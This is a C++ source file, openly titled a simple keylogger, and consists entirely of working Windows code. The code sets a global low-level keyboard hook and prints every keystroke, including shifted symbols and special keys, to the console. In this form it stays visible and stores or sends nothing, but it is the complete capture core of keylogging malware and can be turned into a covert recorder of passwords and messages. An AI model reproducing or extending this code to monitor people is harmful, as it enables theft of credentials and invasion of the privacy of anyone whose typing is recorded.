Simple keylogger in C++

keylogger.cpp

#include <Windows.h>
#include <iostream>
#include <string>

void Log(std::string input);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);

HHOOK hHook;


int main() {
    std::cout << "Press Ctrl+C to exit!" << std::endl;
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

void Log(std::string input) {
    std::cout << input;
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* kbd = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN) {
            CHAR key[2];
            DWORD vkCode = kbd->vkCode;
            if (vkCode >= 0x30 && vkCode <= 0x39) {
                if (GetAsyncKeyState(VK_SHIFT)) {
                    switch (vkCode) {
                    case 0x30:
                        Log(")");
                        break;
                    case 0x31:
                        Log("!");
                        break;
                    case 0x32:
                        Log("@");
                        break;
                    case 0x33:
                        Log("#");
                        break;
                    case 0x34:
                        Log("$");
                        break;
                    case 0x35:
                        Log("%");
                        break;
                    case 0x36:
                        Log("^");
                        break;
                    case 0x37:
                        Log("&");
                        break;
                    case 0x38:
                        Log("*");
                        break;
                    case 0x39:
                        Log("(");
                        break;
                    }
                }
                else {
                    sprintf_s(key, "%c", vkCode);
                    Log(key);
                }
            }
            else if (vkCode >= 0x41 && vkCode <= 0x5A) {
                if (GetAsyncKeyState(VK_SHIFT) == FALSE)
                    vkCode += 32;
                sprintf_s(key, "%c", vkCode);
                Log(key);
            }
            else {
                switch (vkCode) {
                case VK_OEM_PLUS:
                    GetAsyncKeyState(VK_SHIFT) ? Log("+") : Log("=");
                    break;
                case VK_OEM_COMMA:
                    GetAsyncKeyState(VK_SHIFT) ? Log("<") : Log(",");
                    break;
                case VK_OEM_MINUS:
                    GetAsyncKeyState(VK_SHIFT) ? Log("_") : Log("-");
                    break;
                case VK_OEM_PERIOD:
                    GetAsyncKeyState(VK_SHIFT) ? Log(">") : Log(".");
                    break;
                case VK_OEM_1:
                    GetAsyncKeyState(VK_SHIFT) ? Log(":") : Log(";");
                    break;
                case VK_OEM_2:
                    GetAsyncKeyState(VK_SHIFT) ? Log("?") : Log("/");
                    break;
                case VK_OEM_3:
                    GetAsyncKeyState(VK_SHIFT) ? Log("~") : Log("`");
                    break;
                case VK_OEM_4:
                    GetAsyncKeyState(VK_SHIFT) ? Log("{") : Log("[");
                    break;
                case VK_OEM_5:
                    GetAsyncKeyState(VK_SHIFT) ? Log("|") : Log("\\");
                    break;
                case VK_OEM_6:
                    GetAsyncKeyState(VK_SHIFT) ? Log("}") : Log("]");
                    break;
                case VK_OEM_7:
                    GetAsyncKeyState(VK_SHIFT) ? Log("\"") : Log("'");
                    break;
                case VK_LCONTROL:
                    Log("[LCONTROL]");
                    break;
                case VK_RCONTROL:
                    Log("[RCONTROL]");
                    break;
                case VK_CANCEL:
                    Log("[CANCEL]");
                    break;
                case VK_BACK:
                    Log("[BACKSPACE]");
                    break;
                case VK_TAB:
                    Log("[TAB]");
                    break;
                case VK_CLEAR:
                    Log("[CLEAR]");
                    break;
                case VK_RETURN:
                    Log("[ENTER]");
                    break;
                case VK_CONTROL:
                    Log("[CTRL]");
                    break;
                case VK_MENU:
                    Log("[ALT]");
                    break;
                case VK_PAUSE:
                    Log("[PAUSE]");
                    break;
                case VK_CAPITAL:
                    Log("[CAPS LOCK]");
                    break;
                case VK_ESCAPE:
                    Log("[ESC]");
                    break;
                case VK_SPACE:
                    Log("[SPACE]");
                    break;
                case VK_PRIOR:
                    Log("[PAGE UP]");
                    break;
                case VK_NEXT:
                    Log("[PAGE DOWN]");
                    break;
                case VK_END:
                    Log("[END]");
                    break;
                case VK_HOME:
                    Log("[HOME]");
                    break;
                case VK_LEFT:
                    Log("[LEFT ARROW]");
                    break;
                case VK_UP:
                    Log("[UP ARROW]");
                    break;
                case VK_RIGHT:
                    Log("[RIGHT ARROW]");
                    break;
                case VK_DOWN:
                    Log("[DOWN ARROW]");
                    break;
                case VK_INSERT:
                    Log("[INS]");
                    break;
                case VK_DELETE:
                    Log("[DEL]");
                    break;
                case VK_NUMPAD0:
                    Log("[NUMPAD 0]");
                    break;
                case VK_NUMPAD1:
                    Log("[NUMPAD 1]");
                    break;
                case VK_NUMPAD2:
                    Log("[NUMPAD 2]");
                    break;
                case VK_NUMPAD3:
                    Log("[NUMPAD 3");
                    break;
                case VK_NUMPAD4:
                    Log("[NUMPAD 4]");
                    break;
                case VK_NUMPAD5:
                    Log("[NUMPAD 5]");
                    break;
                case VK_NUMPAD6:
                    Log("[NUMPAD 6]");
                    break;
                case VK_NUMPAD7:
                    Log("[NUMPAD 7]");
                    break;
                case VK_NUMPAD8:
                    Log("[NUMPAD 8]");
                    break;
                case VK_NUMPAD9:
                    Log("[NUMPAD 9]");
                    break;
                case VK_MULTIPLY:
                    Log("[*]");
                    break;
                case VK_ADD:
                    Log("[+]");
                    break;
                case VK_SUBTRACT:
                    Log("[-]");
                    break;
                case VK_DECIMAL:
                    Log("[.]");
                    break;
                case VK_DIVIDE:
                    Log("[/]");
                    break;
                case VK_F1:
                    Log("[F1]");
                    break;
                case VK_F2:
                    Log("[F2]");
                    break;
                case VK_F3:
                    Log("[F3]");
                    break;
                case VK_F4:
                    Log("[F4]");
                    break;
                case VK_F5:
                    Log("[F5]");
                    break;
                case VK_F6:
                    Log("[F6]");
                    break;
                case VK_F7:
                    Log("[F7]");
                    break;
                case VK_F8:
                    Log("[F8]");
                    break;
                case VK_F9:
                    Log("[F9]");
                    break;
                case VK_F10:
                    Log("[F10]");
                    break;
                case VK_F11:
                    Log("[F11]");
                    break;
                case VK_F12:
                    Log("[F12]");
                    break;
                case VK_NUMLOCK:
                    Log("[NUM LOCK]");
                    break;
                case VK_SCROLL:
                    Log("[SCROLL LOCK]");
                    break;
                }
            }
        }
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}